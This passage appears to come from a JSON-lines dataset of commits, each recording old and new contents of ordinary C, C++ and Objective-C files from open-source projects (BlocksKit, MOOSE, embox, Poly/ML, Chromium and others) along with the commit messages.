NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/  THE SOFTWARE.\n\/\/\n\n#import <BlocksKit\/MFMailComposeViewController+BlocksKit.h>\n#import <BlocksKit\/MFMessageComposeViewController+BlocksKit.h>\n","new_contents":"\/\/\n\/\/  BlocksKit+MessageUI\n\/\/\n\/\/  The Objective-C block utilities you always wish you had.\n\/\/\n\/\/  Copyright (c) 2011-2012, 2013-2014 Zachary Waldowski\n\/\/  Copyright (c) 2012-2013 Pandamonia LLC\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to deal\n\/\/  in the Software without restriction, including without limitation the rights\n\/\/  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/  copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/  THE SOFTWARE.\n\/\/\n\n\n#import \"MFMailComposeViewController+BlocksKit.h\"\n#import \"MFMessageComposeViewController+BlocksKit.h\"\n","subject":"Fix a bug from BlocksKit","message":"Fix a bug from BlocksKit\n","lang":"C","license":"mit","repos":"alanchen\/AppFactory,alanchen\/AppFactory"}
{"commit":"d850967c83e42523bd0a6d32fd8163c19b92ce7f","old_file":"Mercury3\/HgCamera.h","new_file":"Mercury3\/HgCamera.h","old_contents":"#pragma once\n\n#include <HgTypes.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef struct HgCamera {\n\tpoint position;\n\tquaternion rotation;\n} HgCamera;\n\nvector3 ray_from_camera(HgCamera* c);\n\n#ifdef __cplusplus\n}\n#endif","new_contents":"#pragma once\n\n#include <HgTypes.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef struct HgCamera {\n\tpoint position;\n\tquaternion rotation;\n\n\tvector3 direction;\n\tfloat speedMsec;\n} HgCamera;\n\nvector3 ray_from_camera(HgCamera* c);\n\n#ifdef __cplusplus\n}\n#endif","subject":"Add current direction and speed variable. Should probably be moved somewhere else.","message":"Add current direction and speed variable. Should probably be moved somewhere else.\n","lang":"C","license":"mit","repos":"axlecrusher\/hgengine3,axlecrusher\/hgengine3,axlecrusher\/hgengine3"}
{"commit":"586336cfe52c6e626583dbe20dbaf8cd50d3608b","old_file":"tests\/regression\/38-int-refinements\/01-interval-congruence.c","new_file":"tests\/regression\/38-int-refinements\/01-interval-congruence.c","old_contents":"\/\/ PARAM: --disable ana.int.def_exc --enable ana.int.interval --enable ana.int.congruence\n#include <assert.h>\n\nint main(){\n    int r = -103;\n    for (int i = 0; i < 40; i++) {\n        r = r + 5;\n    }\n    \/\/ At this point r in the congr. dom should be 2 + 5Z\n    int k = r;\n    if (k >= 3) {\n        \/\/ After refinement with congruences, the lower bound should be 7 as the numbers 3 - 6 are not in the congr. class\n        assert (k < 7); \/\/ FAIL\n    }\n\n    if (r >= -11 && r <= -4) {\n        assert (r == -8);\n    }\n    return 0;\n}\n","new_contents":"\/\/ PARAM: --disable ana.int.def_exc --enable ana.int.interval --enable ana.int.congruence --enable ana.int.congruence_no_overflow --enable ana.int.refinement\n#include <assert.h>\n\nint main(){\n    int r = -103;\n    for (int i = 0; i < 40; i++) {\n        r = r + 5;\n    }\n\n    \/\/ At this point r in the congr. dom should be 2 + 5Z\n    int k = r;\n    if (k >= 3) {\n        \/\/ After refinement with congruences, the lower bound should be 7 as the numbers 3 - 6 are not in the congr. class\n        assert (k < 7); \/\/ FAIL\n    }\n\n    if (r >= -11 && r <= -4) {\n        assert (r == -8);\n    }\n    return 0;\n}\n","subject":"Add updated params to interval-congruence ref. reg test","message":"Add updated params to interval-congruence ref. reg test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b73ea44442b2d7b27b8a04f7e531283dd6d66130","old_file":"include\/DataObjects\/JPetEventType\/JPetEventType.h","new_file":"include\/DataObjects\/JPetEventType\/JPetEventType.h","old_contents":"\/**\n *  @copyright Copyright 2018 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file JPetEventType.h\n *\/\n\n#ifndef JPETEVENTTYPE_H\n#define JPETEVENTTYPE_H\n\nenum JPetEventType {\n  kUnknown = 1,\n  k2Gamma = 2,\n  k3Gamma = 4,\n  kPrompt = 8,\n  kScattered = 16,\n  kCosmic = 32\n};\n#endif \/* !JPETEVENTTYPE_H *\/\n","new_contents":"\/**\n *  @copyright Copyright 2021 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file JPetEventType.h\n *\/\n\n#ifndef JPETEVENTTYPE_H\n#define JPETEVENTTYPE_H\n\nenum class JPetEventType\n{\n  kUnknown = 1,\n  k2Gamma = 2,\n  k3Gamma = 4,\n  kPrompt = 8,\n  kScattered = 16,\n  kCosmic = 32\n};\n#endif \/* !JPETEVENTTYPE_H *\/\n","subject":"Change enum to scoped enum","message":"Change enum to scoped enum\n\nThe change is due to the fact that in ROOT 6.20 there is a enum\nwith the kUnknown value defined, which creates the conflict with\nour code.\n","lang":"C","license":"apache-2.0","repos":"JPETTomography\/j-pet-framework,JPETTomography\/j-pet-framework,JPETTomography\/j-pet-framework"}
{"commit":"306bf63728015d7171a5540d89a243f0f16389df","old_file":"examples\/ex08_materials\/include\/materials\/ExampleMaterial.h","new_file":"examples\/ex08_materials\/include\/materials\/ExampleMaterial.h","old_contents":"\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#include \"Material.h\"\n\n#ifndef EXAMPLEMATERIAL_H\n#define EXAMPLEMATERIAL_H\n\n\/\/Forward Declarations\nclass ExampleMaterial;\n\ntemplate<>\nInputParameters validParams<ExampleMaterial>();\n\n\/**\n * Example material class that defines a few properties.\n *\/\nclass ExampleMaterial : public Material\n{\npublic:\n  ExampleMaterial(const std::string & name,\n                  InputParameters parameters);\n\nprotected:\n  virtual void computeQpProperties();\n\nprivate:\n  \/**\n   * Holds a value from the input file.\n   *\/\n  Real _diffusivity_baseline;\n\n  \/**\n   * Holds the values of a coupled variable.\n   *\/\n  VariableValue & _some_variable;\n\n  \/**\n   * This is the member reference that will hold the\n   * computed values from this material class.\n   *\/\n  MaterialProperty<Real> & _diffusivity;\n};\n\n#endif \/\/EXAMPLEMATERIAL_H\n","new_contents":"\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#ifndef EXAMPLEMATERIAL_H\n#define EXAMPLEMATERIAL_H\n\n#include \"Material.h\"\n\n\/\/Forward Declarations\nclass ExampleMaterial;\n\ntemplate<>\nInputParameters validParams<ExampleMaterial>();\n\n\/**\n * Example material class that defines a few properties.\n *\/\nclass ExampleMaterial : public Material\n{\npublic:\n  ExampleMaterial(const std::string & name,\n                  InputParameters parameters);\n\nprotected:\n  virtual void computeQpProperties();\n\nprivate:\n  \/**\n   * Holds a value from the input file.\n   *\/\n  Real _diffusivity_baseline;\n\n  \/**\n   * Holds the values of a coupled variable.\n   *\/\n  VariableValue & _some_variable;\n\n  \/**\n   * This is the member reference that will hold the\n   * computed values from this material class.\n   *\/\n  MaterialProperty<Real> & _diffusivity;\n};\n\n#endif \/\/EXAMPLEMATERIAL_H\n","subject":"Move include statement inside include guards.","message":"Move include statement inside include guards.\n\nr4098\n","lang":"C","license":"lgpl-2.1","repos":"adamLange\/moose,jinmm1992\/moose,friedmud\/moose,shanestafford\/moose,idaholab\/moose,laagesen\/moose,markr622\/moose,sapitts\/moose,harterj\/moose,jbair34\/moose,tonkmr\/moose,markr622\/moose,permcody\/moose,cpritam\/moose,harterj\/moose,laagesen\/moose,idaholab\/moose,wgapl\/moose,backmari\/moose,xy515258\/moose,bwspenc\/moose,jinmm1992\/moose,yipenggao\/moose,wgapl\/moose,andrsd\/moose,stimpsonsg\/moose,jasondhales\/moose,lindsayad\/moose,xy515258\/moose,joshua-cogliati-inl\/moose,permcody\/moose,shanestafford\/moose,liuwenf\/moose,joshua-cogliati-inl\/moose,jasondhales\/moose,SudiptaBiswas\/moose,zzyfisherman\/moose,YaqiWang\/moose,cpritam\/moose,liuwenf\/moose,jinmm1992\/moose,Chuban\/moose,raghavaggarwal\/moose,WilkAndy\/moose,backmari\/moose,joshua-cogliati-inl\/moose,xy515258\/moose,Chuban\/moose,jiangwen84\/moose,waxmanr\/moose,roystgnr\/moose,harterj\/moose,stimpsonsg\/moose,tonkmr\/moose,WilkAndy\/moose,waxmanr\/moose,friedmud\/moose,zzyfisherman\/moose,adamLange\/moose,zzyfisherman\/moose,capitalaslash\/moose,raghavaggarwal\/moose,nuclear-wizard\/moose,shanestafford\/moose,kasra83\/moose,roystgnr\/moose,xy515258\/moose,jhbradley\/moose,YaqiWang\/moose,yipenggao\/moose,lindsayad\/moose,bwspenc\/moose,dschwen\/moose,giopastor\/moose,shanestafford\/moose,capitalaslash\/moose,danielru\/moose,SudiptaBiswas\/moose,permcody\/moose,kasra83\/moose,Chuban\/moose,apc-llc\/moose,mellis13\/moose,nuclear-wizard\/moose,cpritam\/moose,idaholab\/moose,wgapl\/moose,waxmanr\/moose,nuclear-wizard\/moose,laagesen\/moose,yipenggao\/moose,jbair34\/moose,apc-llc\/moose,liuwenf\/moose,andrsd\/moose,roystgnr\/moose,friedmud\/moose,yipenggao\/moose,WilkAndy\/moose,backmari\/moose,apc-llc\/moose,katyhuff\/moose,mellis13\/moose,permcody\/moose,bwspenc\/moose,liuwenf\/moose,mellis13\/moose,cpritam\/moose,jessecarterMOOSE\/moose,tonkmr\/moose,Chuban\/moose,backmari\/moose,joshua-cogliati-inl\/moose,harterj\/moose,bwspenc\/moose,adamLange\/moose,roystgnr\/moose,danielru\/moose,roystgnr\/moose,tonkmr\/moose,waxmanr\/moose,dschwen\/moose,milljm\/moose,stimpsonsg\/moose,kasra83\/moose,markr622\/moose,bwspenc\/moose,liuwenf\/moose,zzyfisherman\/moose,tonkmr\/moose,jinmm1992\/moose,lindsayad\/moose,laagesen\/moose,milljm\/moose,roystgnr\/moose,jasondhales\/moose,wgapl\/moose,tonkmr\/moose,nuclear-wizard\/moose,jiangwen84\/moose,WilkAndy\/moose,mellis13\/moose,dschwen\/moose,apc-llc\/moose,jiangwen84\/moose,idaholab\/moose,sapitts\/moose,andrsd\/moose,giopastor\/moose,SudiptaBiswas\/moose,dschwen\/moose,jhbradley\/moose,katyhuff\/moose,lindsayad\/moose,zzyfisherman\/moose,adamLange\/moose,sapitts\/moose,sapitts\/moose,jhbradley\/moose,zzyfisherman\/moose,shanestafford\/moose,dschwen\/moose,WilkAndy\/moose,YaqiWang\/moose,jessecarterMOOSE\/moose,giopastor\/moose,andrsd\/moose,andrsd\/moose,lindsayad\/moose,jhbradley\/moose,idaholab\/moose,milljm\/moose,SudiptaBiswas\/moose,harterj\/moose,milljm\/moose,WilkAndy\/moose,raghavaggarwal\/moose,stimpsonsg\/moose,markr622\/moose,capitalaslash\/moose,katyhuff\/moose,roystgnr\/moose,cpritam\/moose,jasondhales\/moose,friedmud\/moose,capitalaslash\/moose,jbair34\/moose,milljm\/moose,liuwenf\/moose,YaqiWang\/moose,cpritam\/moose,jessecarterMOOSE\/moose,raghavaggarwal\/moose,SudiptaBiswas\/moose,jessecarterMOOSE\/moose,danielru\/moose,danielru\/moose,kasra83\/moose,sapitts\/moose,jessecarterMOOSE\/moose,jbair34\/moose,shanestafford\/moose,katyhuff\/moose,giopastor\/moose,jiangwen84\/moose,laagesen\/moose"}
{"commit":"9457c57020d586e9aaf5bf6b43dbefaaf5121d92","old_file":"SDCAlertView\/SDCAlertViewCoordinator.h","new_file":"SDCAlertView\/SDCAlertViewCoordinator.h","old_contents":"\/\/\n\/\/  SDCAlertViewCoordinator.h\n\/\/  SDCAlertView\n\/\/\n\/\/  Created by Scott Berrevoets on 1\/25\/14.\n\/\/  Copyright (c) 2014 Scotty Doesn't Code. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class SDCAlertView;\n\n@interface SDCAlertViewCoordinator : NSObject\n\n@property (nonatomic, readonly) SDCAlertView *visibleAlert;\n\n+ (instancetype)sharedCoordinator;\n\n- (void)presentAlert:(SDCAlertView *)alert;\n- (void)dismissAlert:(SDCAlertView *)alert withButtonIndex:(NSInteger)buttonIndex;\n\n@end\n","new_contents":"\/\/\n\/\/  SDCAlertViewCoordinator.h\n\/\/  SDCAlertView\n\/\/\n\/\/  Created by Scott Berrevoets on 1\/25\/14.\n\/\/  Copyright (c) 2014 Scotty Doesn't Code. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class SDCAlertView;\n\n@interface SDCAlertViewCoordinator : NSObject\n\n@property (nonatomic, weak, readonly) SDCAlertView *visibleAlert;\n\n+ (instancetype)sharedCoordinator;\n\n- (void)presentAlert:(SDCAlertView *)alert;\n- (void)dismissAlert:(SDCAlertView *)alert withButtonIndex:(NSInteger)buttonIndex;\n\n@end\n","subject":"Change property reference to weak to match private reference","message":"Change property reference to weak to match private reference\n","lang":"C","license":"mit","repos":"sberrevoets\/SDCAlertView,Nykho\/SDCAlertView,winkapp\/SDCAlertView,adamkaplan\/SDCAlertView,Wurrly\/SDCAlertView,badoo\/SDCAlertView,HuylensHu\/SDCAlertView,DeskConnect\/SDCAlertView,DeskConnect\/SDCAlertView,sberrevoets\/SDCAlertView"}
{"commit":"57e446a970b84346fba5d7b41d23269b05fb1cbd","old_file":"learn\/struct\/TwoSamenameFunc.c","new_file":"learn\/struct\/TwoSamenameFunc.c","old_contents":"","new_contents":"#include<stdlib.h>\n\nvoid test(int i){\n  printf(\"in test(%d)\\n\",i);\n  \n}\n\nvoid test(){\n  printf(\"in test()\\n\");\n  \n}\n\nint main(){\n\n  test();\n  test(1);\n\n\n\n\n\n  return 0;\n}\n","subject":"Test whether two function name is same but num_para not is legal","message":"Test whether two function name is same but num_para not is legal\n","lang":"C","license":"mit","repos":"zhmz90\/Daily,zhmz90\/Daily,zhmz90\/Daily,zhmz90\/Daily,zhmz90\/Daily,zhmz90\/Daily,zhmz90\/Daily"}
{"commit":"d8fe5945a5ddd57b12b8e144fed2341e147eeef3","old_file":"firmware\/src\/main.c","new_file":"firmware\/src\/main.c","old_contents":"\/**\n * @file main.c\n * @brief Main.\n *\n *\/\n\n\n#include \"stm32f4xx_conf.h\"\n#include \"FreeRTOS.h\"\n\n\nint main(void)\n{\n    \/\/ TODO\n    \n    while(1);\n\n    return 0;\n}\n","new_contents":"\/**\n * @file main.c\n * @brief Main.\n *\n *\/\n\n\n#include \"stm32f4xx_conf.h\"\n#include \"stm32f4xx_gpio.h\"\n#include \"stm32f4xx_rcc.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n\n\nvoid hw_init(void)\n{\n    GPIO_InitTypeDef gpio_led;\n\n    GPIO_StructInit(&gpio_led);\n    gpio_led.GPIO_Mode = GPIO_Mode_OUT;\n    gpio_led.GPIO_Pin = GPIO_Pin_12;\n    gpio_led.GPIO_PuPd = GPIO_PuPd_NOPULL;\n    gpio_led.GPIO_Speed = GPIO_Speed_100MHz;\n    gpio_led.GPIO_OType = GPIO_OType_PP;\n\n    RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOD, ENABLE);\n    GPIO_Init(GPIOD, &gpio_led);\n}\n\n\nvoid led_task(void *params)\n{\n    while(1)\n    {\n        GPIO_ToggleBits(GPIOD, GPIO_Pin_12);\n\n        vTaskDelay(500 \/ portTICK_RATE_MS);\n    }\n}\n\n\nint main(void)\n{\n    hw_init();\n\n    (void) SysTick_Config(SystemCoreClock \/ 1000);\n\n    (void) xTaskCreate(\n            led_task,\n            \"led_task\",\n            configMINIMAL_STACK_SIZE,\n            NULL,\n            tskIDLE_PRIORITY + 2UL,\n            NULL);\n\n    vTaskStartScheduler();\n\n    while(1);\n\n    return 0;\n}\n","subject":"Add example LED blink task","message":"Add example LED blink task\n","lang":"C","license":"mit","repos":"BitBangedFF\/odometry-module,BitBangedFF\/odometry-module"}
{"commit":"fd155492f37273186b7ea5ea3f047333964bee0b","old_file":"src\/ufrn_bti_itp\/recursividade_e_modularizacao\/q7_dec_to_bin.c","new_file":"src\/ufrn_bti_itp\/recursividade_e_modularizacao\/q7_dec_to_bin.c","old_contents":"","new_contents":"#include <stdio.h>\n\n#define ORIGIN_BASE 10\n#define TARGET_BASE 2\n\nint bin(int dec){\n\tif (dec < TARGET_BASE) return dec;\n\telse return (ORIGIN_BASE * bin(dec\/TARGET_BASE)) + (dec % TARGET_BASE);\n}\n\nint main(){\n\tprintf(\"%d\\n\", bin(10));\n\treturn 0;\n}\n","subject":"Create q7: dec to bin","message":"Create q7: dec to bin\n","lang":"C","license":"unknown","repos":"Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/MISC-Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/Algs"}
{"commit":"9cda2d34bf812ecdfcd46e8983f47bbd937884dc","old_file":"src\/profiler\/tracing\/no_trace.c","new_file":"src\/profiler\/tracing\/no_trace.c","old_contents":"\/**\n * @file\n * @brief\n *\n * @author  Anton Kozlov\n * @date    29.04.2013\n *\/\n\n#include <stddef.h>\n\n#include <profiler\/tracing\/trace.h>\n\ntime64_t trace_block_diff(struct __trace_block *tb) {\n\treturn -1;\n}\n\ntime64_t trace_block_get_time(struct __trace_block *tb) {\n\treturn -1;\n}\n\nint trace_point_get_value(struct __trace_point *tp) {\n\treturn -1;\n}\n\nstruct __trace_point *trace_point_get_by_name(const char *name) {\n\treturn NULL;\n}\n\n\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @author  Anton Kozlov\n * @date    29.04.2013\n *\/\n\n#include <stddef.h>\n\n#include <profiler\/tracing\/trace.h>\n\ntime64_t trace_block_diff(struct __trace_block *tb) {\n\treturn -1;\n}\n\ntime64_t trace_block_get_time(struct __trace_block *tb) {\n\treturn -1;\n}\n\nint trace_point_get_value(struct __trace_point *tp) {\n\treturn -1;\n}\n\nstruct __trace_point *trace_point_get_by_name(const char *name) {\n\treturn NULL;\n}\n\n\nvoid trace_block_func_enter(void *func) {\n}\n\nvoid trace_block_func_exit(void *func) {\n}\n","subject":"Fix build after merge with embox-profiler","message":"Fix build after merge with embox-profiler","lang":"C","license":"bsd-2-clause","repos":"gzoom13\/embox,vrxfile\/embox-trik,gzoom13\/embox,Kefir0192\/embox,abusalimov\/embox,Kakadu\/embox,mike2390\/embox,Kakadu\/embox,Kefir0192\/embox,Kefir0192\/embox,Kefir0192\/embox,Kefir0192\/embox,vrxfile\/embox-trik,gzoom13\/embox,gzoom13\/embox,embox\/embox,gzoom13\/embox,vrxfile\/embox-trik,mike2390\/embox,vrxfile\/embox-trik,embox\/embox,gzoom13\/embox,abusalimov\/embox,embox\/embox,Kakadu\/embox,abusalimov\/embox,embox\/embox,Kakadu\/embox,Kefir0192\/embox,embox\/embox,abusalimov\/embox,abusalimov\/embox,Kakadu\/embox,abusalimov\/embox,embox\/embox,gzoom13\/embox,mike2390\/embox,mike2390\/embox,vrxfile\/embox-trik,Kefir0192\/embox,Kakadu\/embox,mike2390\/embox,vrxfile\/embox-trik,mike2390\/embox,mike2390\/embox,vrxfile\/embox-trik,Kakadu\/embox"}
{"commit":"29387545c66ff29097eb183d9ee7b64d28112159","old_file":"libpolyml\/version.h","new_file":"libpolyml\/version.h","old_contents":"\/*\n    Title:  version.h\n\n    Copyright (c) 2000-17\n        Cambridge University Technical Services Limited\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n    \n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n    \n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n\n*\/\n\n#ifndef VERSION_H_INCLUDED\n#define VERSION_H_INCLUDED\n\n\/\/ Poly\/ML system interface level\n#define POLY_version_number    570\n\/\/ POLY_version_number is written into all exported files and tested\n\/\/ when we start up.  The idea is to ensure that if a file is exported\n\/\/ from one version of the library it will run successfully if linked\n\/\/ with a different version.\n\/\/ This only supports version 5.7\n#define FIRST_supported_version 570\n#define LAST_supported_version  570\n\n#define TextVersion             \"5.6\"\n\n#endif\n","new_contents":"\/*\n    Title:  version.h\n\n    Copyright (c) 2000-17\n        Cambridge University Technical Services Limited\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n    \n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n    \n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n\n*\/\n\n#ifndef VERSION_H_INCLUDED\n#define VERSION_H_INCLUDED\n\n\/\/ Poly\/ML system interface level\n#define POLY_version_number    570\n\/\/ POLY_version_number is written into all exported files and tested\n\/\/ when we start up.  The idea is to ensure that if a file is exported\n\/\/ from one version of the library it will run successfully if linked\n\/\/ with a different version.\n\/\/ This only supports version 5.7\n#define FIRST_supported_version 570\n#define LAST_supported_version  570\n\n#define TextVersion             \"5.7\"\n\n#endif\n","subject":"Fix TextVersion still being 5.6","message":"Fix TextVersion still being 5.6\n","lang":"C","license":"lgpl-2.1","repos":"polyml\/polyml,dcjm\/polyml,dcjm\/polyml,dcjm\/polyml,polyml\/polyml,dcjm\/polyml,polyml\/polyml,polyml\/polyml"}
{"commit":"6139be0f6486c9854c52e45d0d47bd6a5c01b3dd","old_file":"app\/src\/main\/jni\/Interpreter\/py_utils.h","new_file":"app\/src\/main\/jni\/Interpreter\/py_utils.h","old_contents":"#ifndef PY_UTILS_H\n#define PY_UTILS_H\n\n#include <stdio.h>\n\nextern FILE *stdin_writer;\n\nvoid setupPython(const char* pythonProgramPath, const char* pythonLibs, const char* pythonHostLibs,\n                 const char* pythonHome, const char* pythonTemp, const char* xdgBasePath);\nvoid setupStdinEmulation(void);\nvoid readFromStdin(char* inputBuffer, int bufferSize);\nint runPythonInterpreter(int argc, char** argv);\nvoid interruptPython(void);\nvoid terminatePython(void);\n\n#endif \/\/ PY_UTILS_H \/\/\n","new_contents":"#ifndef PY_UTILS_H\n#define PY_UTILS_H\n\n#include <stdio.h>\n\nextern FILE *stdin_writer;\n\nvoid setupPython(const char* pythonProgramPath, const char* pythonLibs, const char* pythonHostLibs,\n                 const char* pythonHome, const char* pythonTemp, const char* xdgBasePath,\n                 const char* dataDir);\nvoid setupStdinEmulation(void);\nvoid readFromStdin(char* inputBuffer, int bufferSize);\nint runPythonInterpreter(int argc, char** argv);\nvoid interruptPython(void);\nvoid terminatePython(void);\n\n#endif \/\/ PY_UTILS_H \/\/\n","subject":"Fix missing change in header","message":"Fix missing change in header\n","lang":"C","license":"mit","repos":"Abestanis\/APython,Abestanis\/APython,Abestanis\/APython"}
{"commit":"51d48572c2488981c3b1181392ae61d1cb4bf1a4","old_file":"ModelExplorerPlugin\/ScopeGuard.h","new_file":"ModelExplorerPlugin\/ScopeGuard.h","old_contents":"\/\/\n\/\/ Copyright Renga Software LLC, 2017. All rights reserved.\n\/\/\n\/\/ Renga Software LLC PROVIDES THIS PROGRAM \"AS IS\" AND WITH ALL FAULTS. \n\/\/ Renga Software LLC  DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE\n\/\/ UNINTERRUPTED OR ERROR FREE.\n\/\/\n\n#pragma once\n\nclass BoolGuard\n{\npublic:\n  explicit BoolGuard(bool& variable);\n  explicit BoolGuard(bool& variable, bool initialValue);\n\n  BoolGuard(const BoolGuard& guard) = delete;\n  BoolGuard& operator = (const BoolGuard& guard) = delete;\n\n  ~BoolGuard();\n\nprivate:\n  bool& m_variable;\n};\n\ntemplate <typename TFunc>\nclass CActionGuard\n{\npublic:\n  CActionGuard(const TFunc& func) : m_func(func) {}\n  ~CActionGuard() { m_func(); }\n\nprivate:\n  TFunc m_func;\n};\n\ntemplate <typename TFunc>\nCActionGuard<TFunc> makeGuard(const TFunc& func)\n{\n  return CActionGuard<TFunc>(func);\n}","new_contents":"\/\/\n\/\/ Copyright Renga Software LLC, 2017. All rights reserved.\n\/\/\n\/\/ Renga Software LLC PROVIDES THIS PROGRAM \"AS IS\" AND WITH ALL FAULTS. \n\/\/ Renga Software LLC  DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE\n\/\/ UNINTERRUPTED OR ERROR FREE.\n\/\/\n\n#pragma once\n\nclass BoolGuard\n{\npublic:\n  explicit BoolGuard(bool& variable);\n  explicit BoolGuard(bool& variable, bool initialValue);\n\n  BoolGuard(const BoolGuard& guard) = delete;\n  BoolGuard& operator = (const BoolGuard& guard) = delete;\n\n  ~BoolGuard();\n\nprivate:\n  bool& m_variable;\n};\n\ntemplate <typename TFunc>\nclass CActionGuard\n{\npublic:\n  CActionGuard(TFunc&& func) : m_func(std::forward<TFunc>(func)) {}\n  ~CActionGuard() { m_func(); }\n\nprivate:\n  TFunc m_func;\n};\n\ntemplate <typename TFunc>\nCActionGuard<TFunc> makeGuard(TFunc&& func)\n{\n  return CActionGuard<TFunc>(std::forward<TFunc>(func));\n}","subject":"Fix after review: perfect forwarding used for callable object","message":"Fix after review: perfect forwarding used for callable object\n","lang":"C","license":"mit","repos":"RengaSoftware\/ModelExplorer,RengaSoftware\/ModelExplorer"}
{"commit":"a56699b59df45bbfe46a9527a59e3713736c5297","old_file":"content\/public\/common\/speech_recognition_result.h","new_file":"content\/public\/common\/speech_recognition_result.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_PUBLIC_COMMON_SPEECH_RECOGNITION_RESULT_H_\n#define CONTENT_PUBLIC_COMMON_SPEECH_RECOGNITION_RESULT_H_\n#pragma once\n\n#include <vector>\n\n#include \"base\/basictypes.h\"\n#include \"base\/string16.h\"\n#include \"content\/common\/content_export.h\"\n\nnamespace content {\n\nstruct SpeechRecognitionHypothesis {\n  string16 utterance;\n  double confidence;\n\n  SpeechRecognitionHypothesis() : confidence(0.0) {}\n\n  SpeechRecognitionHypothesis(const string16 utterance_value,\n                              double confidence_value)\n      : utterance(utterance_value),\n        confidence(confidence_value) {\n  }\n};\n\ntypedef std::vector<SpeechRecognitionHypothesis>\n    